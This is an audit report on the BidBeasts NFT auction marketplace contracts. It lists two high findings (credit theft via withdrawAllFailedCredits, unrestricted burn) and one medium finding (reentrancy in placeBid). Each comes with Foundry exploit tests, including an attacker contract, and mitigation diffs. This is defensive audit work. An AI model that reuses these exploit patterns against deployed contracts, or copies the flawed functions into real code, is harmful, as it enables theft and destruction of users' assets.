Bid Beasts Audit Report

Prepared by: jopantech

Table of Contents

Protocol Summary

This smart contract implements a basic auction-based NFT marketplace for the `BidBeasts` ERC721 token. It enables NFT owners to list their tokens for auction, accept bids from participants, and settle auctions with a platform fee mechanism. The project was developed using Solidity, OpenZeppelin libraries, and is designed for deployment on Ethereum-compatible networks.

Disclaimer

The jopantech team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
├── lib/
├── src/
│   ├── BidBeasts_NFT_ERC721.sol
│   └── BidBeastsNFTMarketPlace.sol
├── script/
│   └── BidBeastsNFTMarketPlaceDeploy.s.sol
├── test/
│   └── BidBeastsMarketPlaceTest.t.sol
├── foundry.toml
└── README.md
```

Roles

- **Seller (NFT Owner)**
  - Owns a `BidBeasts` NFT and lists it for auction.
  - Receives payment if the auction is successful.
- **Bidder (Buyer)**
  - Places ETH bids on active auctions.
  - Receives the NFT if they win the auction.
- **Contract Owner (Platform Admin)**
  - Deployed the marketplace contract.
  - Can withdraw accumulated platform fees.

Executive Summary

This audit examined BidBeastsNFTMarketPlace.sol and BidBeasts_NFT_ERC721.sol to identify security issues that could lead to loss of funds, denial of service, or incorrect token distributions.

Issues found

Severity	Number of issues found
High	2
Medium	1

Severity	Number of issues found
Low	0
Info	0
Total	**3**

Findings

High

[H-01] Insecure withdrawAllFailedCredits Allows Theft of Other Users' Funds

Description

The marketplace attempts to credit sellers when ETH transfers fail (e.g., if the seller is a contract without a payable fallback). These amounts are tracked in failedTransferCredits[address]. However, the function withdrawAllFailedCredits(address recipient) is implemented insecurely:

- It reads the balance from the recipient address.
- It then zeros out msg.sender's slot instead of the recipient's.
- It finally transfers the credits to msg.sender.

This means an attacker can pass in any victim address with credits, and the marketplace will incorrectly give those funds to the attacker while leaving the victim's credits unchanged. The attacker can repeatedly drain victims' balances.

```
// @audit It loads credits from _receiver, but then resets msg.sender.
    // Means I can drain someone else's failedTransferCredits by calling
with their address.
    function withdrawAllFailedCredits(address _receiver) external {
        uint256 amount = failedTransferCredits[_receiver];
        require(amount > 0, "No credits to withdraw");

        failedTransferCredits[msg.sender] = 0;

        (bool success, ) = payable(msg.sender).call{value: amount}("");
        require(success, "Withdraw failed");
    }
```

Risk

Likelihood:

- The issue will occur whenever a seller’s ETH transfer fails (for example, when the seller is a contract that rejects ETH). This ensures that failedTransferCredits will accumulate balances for victims.

- Any external account can call withdrawAllFailedCredits(address) without restriction, allowing attackers to repeatedly trigger the vulnerability as soon as failed credits exist.

Impact:

- Attackers can drain the entire balance of failedTransferCredits belonging to other sellers, directly stealing their ETH proceeds.

- The marketplace’s trust and functionality are broken because sellers who cannot accept ETH normally will lose all funds intended for them, leading to permanent loss of user assets.

Proof of Concept

```
function test_exploit_withdrawAllFailedCredits() public {
        // 1) Mint to SELLER then transfer token to the RejectEther
contract (so seller = rejector)
        vm.startPrank(OWNER);
        nft.mint(SELLER); // tokenId 0 minted to SELLER
        vm.stopPrank();

        // Transfer token from SELLER to rejector using non-safe
transferFrom (no onERC721Received required)
        vm.prank(SELLER);
        nft.transferFrom(SELLER, address(rejector), TOKEN_ID);

        // 2) Approve and list from rejector
        vm.startPrank(address(rejector));
        nft.approve(address(market), TOKEN_ID);
        market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
        vm.stopPrank();

        // 3) Buyer buys at buy-now price
        vm.prank(BIDDER_1);
        market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);

        // At this point marketplace charged fee and attempted to payout
seller (rejector).
        // Because rejector cannot accept ETH, seller proceeds were
credited to failedTransferCredits[rejector].

        // Compute expected values (net of fee)
        uint256 fee = (BUY_NOW_PRICE * market.S_FEE_PERCENTAGE()) / 100;
// 0.25 ETH
        uint256 sellerProceeds = BUY_NOW_PRICE - fee;
// 4.75 ETH
```

```
        // Assertions: failedTransferCredits should equal seller proceeds
(net)
        assertEq(
            market.failedTransferCredits(address(rejector)),
            sellerProceeds,
            "Rejector should have failed credits equal to seller proceeds
(net of fee)"
        );

        // Fee recorded
        assertEq(market.s_totalFee(), fee, "Marketplace fee should be
recorded");

        // Owner of NFT should now be BIDDER_1 (buyer)
        assertEq(nft.ownerOf(TOKEN_ID), BIDDER_1);

        // 4) Attacker drains the rejector's credits using vulnerable
withdrawAllFailedCredits(address)
        address attacker = address(0x999);
        uint256 attackerStarting = 1 ether;
        vm.deal(attacker, attackerStarting);

        // Confirm attacker starting balance
        assertEq(attacker.balance, attackerStarting);

        vm.startPrank(attacker);
        market.withdrawAllFailedCredits(address(rejector)); // vulnerable
call: drains victim credits to msg.sender
        vm.stopPrank();

        // Attacker should have gained sellerProceeds
        assertEq(
            attacker.balance,
            attackerStarting + sellerProceeds,
            "Attacker should have stolen victim's credits (starting +
sellerProceeds)"
        );

        // Because the buggy function reads victim slot but zeroes
msg.sender, victim's credits are likely unchanged
        // (This checks the buggy behavior; after patching this should be
zero)
        assertEq(
            market.failedTransferCredits(address(rejector)),
            sellerProceeds,
            "In buggy contract victim credits remain (the exploit
demonstrates theft)"
        );
    }
```

```
forge test --match-test test_exploit_withdrawAllFailedCredits -vvv
```

Recommended Mitigation

- Enforce proper authorization: Only the rightful owner (the credited address) should be able to withdraw their failed transfer credits.
- Correctly zero out the recipient’s balance, not msg.sender.

```
- function withdrawAllFailedCredits(address _receiver) external {
-     uint256 amount = failedTransferCredits[_receiver];
-     require(amount > 0, "No credits to withdraw");
-
-     failedTransferCredits[msg.sender] = 0;
-
-     (bool success, ) = payable(msg.sender).call{value: amount}("");
-     require(success, "Withdraw failed");
- }
+ // Only allow the credited owner to withdraw their own credits; follow Checks → Effects → Interactions.
+ // Requires: contract inherits OpenZeppelin ReentrancyGuard and function marked nonReentrant.
+ function withdrawAllFailedCredits() external nonReentrant {
+     uint256 amount = failedTransferCredits[msg.sender];
+     require(amount > 0, "No credits to withdraw");
+
+     // Effects: zero the caller's credit before external interaction
+     failedTransferCredits[msg.sender] = 0;
+
+     // Interaction: send funds to the caller
+     (bool success, ) = payable(msg.sender).call{value: amount}("");
+     require(success, "Withdraw failed");
+ }
```

[H-02] Unrestricted burn() Lacks Ownership Check, Allowing Malicious Users to Destroy Any NFT

Description

The burn() function in BidBeasts_NFT_ERC721.sol lacks ownership or approval checks. Unlike standard ERC721 implementations such as OpenZeppelin’s ERC721Burnable, which enforce _isApprovedOrOwner(msg.sender, tokenId), this implementation allows any external account to destroy NFTs without restrictions.

```
// @audit No ownership check (anyone can burn NFTs).
function burn(uint256 _tokenId) public {
    _burn(_tokenId);
    emit BidBeastsBurn(msg.sender, _tokenId);
}
```

Risk

Likelihood:

Very High – requires no special privileges, cost, or complex conditions. Any external address can call burn(tokenId) directly.

Impact:

Critical – Permanent and irreversible destruction of NFTs, including those owned by other users. This can cause:

- Breaking ERC721 invariants (ownership and approval rules).
- Potential Denial of Service (DoS): listed NFTs could be destroyed during auctions or trades.
- Loss of user funds if NFTs are destroyed mid-sale.
- Damage to marketplace reputation and trust.

Proof of Concept

```
function test_exploit_unauthorizedBurn() public {
        // 1) Owner mints NFT to SELLER
        vm.prank(OWNER);
        uint256 tokenId = nft.mint(SELLER);

        // Sanity check: SELLER owns the NFT
        assertEq(nft.ownerOf(tokenId), SELLER, "SELLER should own the
NFT");

        // 2) Random attacker (not owner, not approved) calls burn()
        address attacker = address(0xBEEF);
        vm.prank(attacker);
        nft.burn(tokenId); // no ownership check inside burn()

        // 3) Assert that NFT is permanently destroyed
        vm.expectRevert(); // should revert because tokenId no longer
exists
        nft.ownerOf(tokenId);

        // Impact: attacker destroyed SELLER’s NFT
    }
```

```
forge test --match-test test_exploit_unauthorizedBurn -vvv
```

Recommended Mitigation

- Restrict burn() to the token owner or an approved operator by using the internal _isApprovedOrOwner() check.
- Use OpenZeppelin’s ERC721Burnable as a reference.

```diff
- function burn(uint256 _tokenId) public {
-     _burn(_tokenId);
-     emit BidBeastsBurn(msg.sender, _tokenId);
- }

+ function burn(uint256 _tokenId) public {
+     require(
+         _isApprovedOrOwner(msg.sender, _tokenId),
+         "Caller is not owner nor approved"
+     );
+     _burn(_tokenId);
+     emit BidBeastsBurn(msg.sender, _tokenId);
+ }
```

Benefits:

- Prevents unauthorized destruction of NFTs.
- Preserves ERC721 ownership invariants.
- Protects marketplace trust and user assets.

Medium

[M-01] Reentrancy Due to External Calls Before State Update in placeBid

Description

An attacker can exploit reentrancy in placeBid to manipulate auction flow and drain ETH refunds, potentially stealing funds from honest bidders and the marketplace. Since external calls (_payout) are made before critical state updates (e.g., clearing or updating bids), the attacker can reenter and interfere with auction logic.

```
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
    Listing storage listing = listings[tokenId];
    address previousBidder = bids[tokenId].bidder;
    uint256 previousBidAmount = bids[tokenId].amount;

    require(listing.seller != msg.sender, "Seller cannot bid");
    require(listing.auctionEnd == 0 || block.timestamp <
listing.auctionEnd, "Auction ended");

    if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
        uint256 salePrice = listing.buyNowPrice;
        uint256 overpay = msg.value - salePrice;

        bids[tokenId] = Bid(msg.sender, salePrice);
        listing.listed = false;

        // @> ROOT CAUSE: External call (_payout) happens here
        // @> before state cleanup or bid reset → reentrancy risk.
        if (previousBidder != address(0)) {
            _payout(previousBidder, previousBidAmount);
        }

        // @> Another external call before final state commit
        _executeSale(tokenId);

        if (overpay > 0) {
            _payout(msg.sender, overpay);
        }

        return;
    }

    // ... rest of auction logic ...
}
```

Risk

Likelihood:

High – The function is publicly accessible, and an attacker can become the highest bidder with minimal cost (just above the minimum price). Once in position, the refund path is guaranteed to trigger on any higher bid or buy-now, making exploitation straightforward.

Impact:

Medium – Exploitation allows the attacker to reenter placeBid or other state-changing functions before state is finalized. This can:

- Steal ETH credits from honest bidders.
- Lock auctions in inconsistent states.
- Deny service by blocking future bids or settlements.

Overall, this could lead to loss of funds for users and protocol insolvency if multiple auctions are targeted.

Proof of Concept

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";

contract ReentrantAttacker {
    BidBeastsNFTMarket public market;
    address public owner;
    uint256 public tokenId;
    bool public reentered;

    constructor(address _market) {
        market = BidBeastsNFTMarket(_market);
        owner = msg.sender;
    }

    function placeInitialBid(uint256 _tokenId) external payable {
        tokenId = _tokenId;
        market.placeBid{value: msg.value}(_tokenId);
    }

    receive() external payable {
        // mark reentry to prove the callback ran
        reentered = true;
    }

    function sweep(address payable to) external {
        require(msg.sender == owner, "only owner");
        to.transfer(address(this).balance);
    }
}

contract ReentrancyPoCTest is Test {
    BidBeasts public nft;
    BidBeastsNFTMarket public market;
    ReentrantAttacker public attackerContract;

    address constant OWNER = address(0x1);
    address constant SELLER = address(0x2);
    address constant HONEST_BIDDER = address(0x3);
    address constant COLLECTOR = address(0x999);

    uint256 constant TOKEN_ID = 0;
    uint256 constant MIN_PRICE = 1 ether;

    function setUp() public {
        vm.prank(OWNER);
        nft = new BidBeasts();
        vm.prank(OWNER);
        market = new BidBeastsNFTMarket(address(nft));
        attackerContract = new ReentrantAttacker(address(market));
        vm.deal(HONEST_BIDDER, 10 ether);
        vm.deal(address(attackerContract), 5 ether);
        vm.deal(COLLECTOR, 0);
    }

    function test_reentrancy_detected() public {
        // Mint to SELLER (OWNER must call mint)
        vm.prank(OWNER);
        nft.mint(SELLER);

        // SELLER approve + list (buyNow = 0 to exercise bidding)
        vm.prank(SELLER);
        nft.approve(address(market), TOKEN_ID);
        vm.prank(SELLER);
        market.listNFT(TOKEN_ID, MIN_PRICE, 0);

        // Attacker places initial bid > min
        uint256 attackerInitial = MIN_PRICE + 0.1 ether;
        vm.deal(address(attackerContract), attackerInitial);
        vm.prank(address(attackerContract));
        attackerContract.placeInitialBid{value: attackerInitial}
(TOKEN_ID);

        // Honest bidder outbids -> attacker will be refunded and
receive() executes
        uint256 honestBid = attackerInitial + 1 ether;
        vm.prank(HONEST_BIDDER);
        market.placeBid{value: honestBid}(TOKEN_ID);

        assertTrue(attackerContract.reentered(), "Attacker did not reenter
on refund");

        // Optional sweep
        vm.prank(address(this));
        attackerContract.sweep(payable(COLLECTOR));
    }
}
```

```
forge test --match-test test_reentrancy_detected -vvv
```

Recommended Mitigation

- The placeBid function should be refactored to follow the Checks-Effects-Interactions (CEI) pattern and use a pull-over-push refund mechanism. This ensures all state changes happen before any external interaction, eliminating the reentrancy window.

```
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
    Listing storage listing = listings[tokenId];
    address previousBidder = bids[tokenId].bidder;
    uint256 previousBidAmount = bids[tokenId].amount;

    require(listing.seller != msg.sender, "Seller cannot bid");
    require(listing.auctionEnd == 0 || block.timestamp <
listing.auctionEnd, "Auction ended");

    if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
        uint256 salePrice = listing.buyNowPrice;
        uint256 overpay = msg.value - salePrice;

-       // EFFECT: set winner bid to exact sale price (keep consistent)
-       bids[tokenId] = Bid(msg.sender, salePrice);
-       listing.listed = false; // Marks listing as sold immediately.
-
-       // @audit Reentrancy risk: external call before state cleanup
-       if (previousBidder != address(0)) {
-           _payout(previousBidder, previousBidAmount);
-       }

-       _executeSale(tokenId);
-
-       if (overpay > 0) {
-           _payout(msg.sender, overpay);
-       }

+       // Clean up state first
+       bids[tokenId] = Bid(msg.sender, salePrice);
+       listing.listed = false;

+       // Record refund & payouts (use pull-over-push pattern)
+       if (previousBidder != address(0)) {
+           failedCredits[previousBidder] += previousBidAmount;
+       }
+       if (overpay > 0) {
+           failedCredits[msg.sender] += overpay;
+       }

+       // Execute sale logic AFTER state is consistent
+       _executeSale(tokenId);

        return;
    }
}
```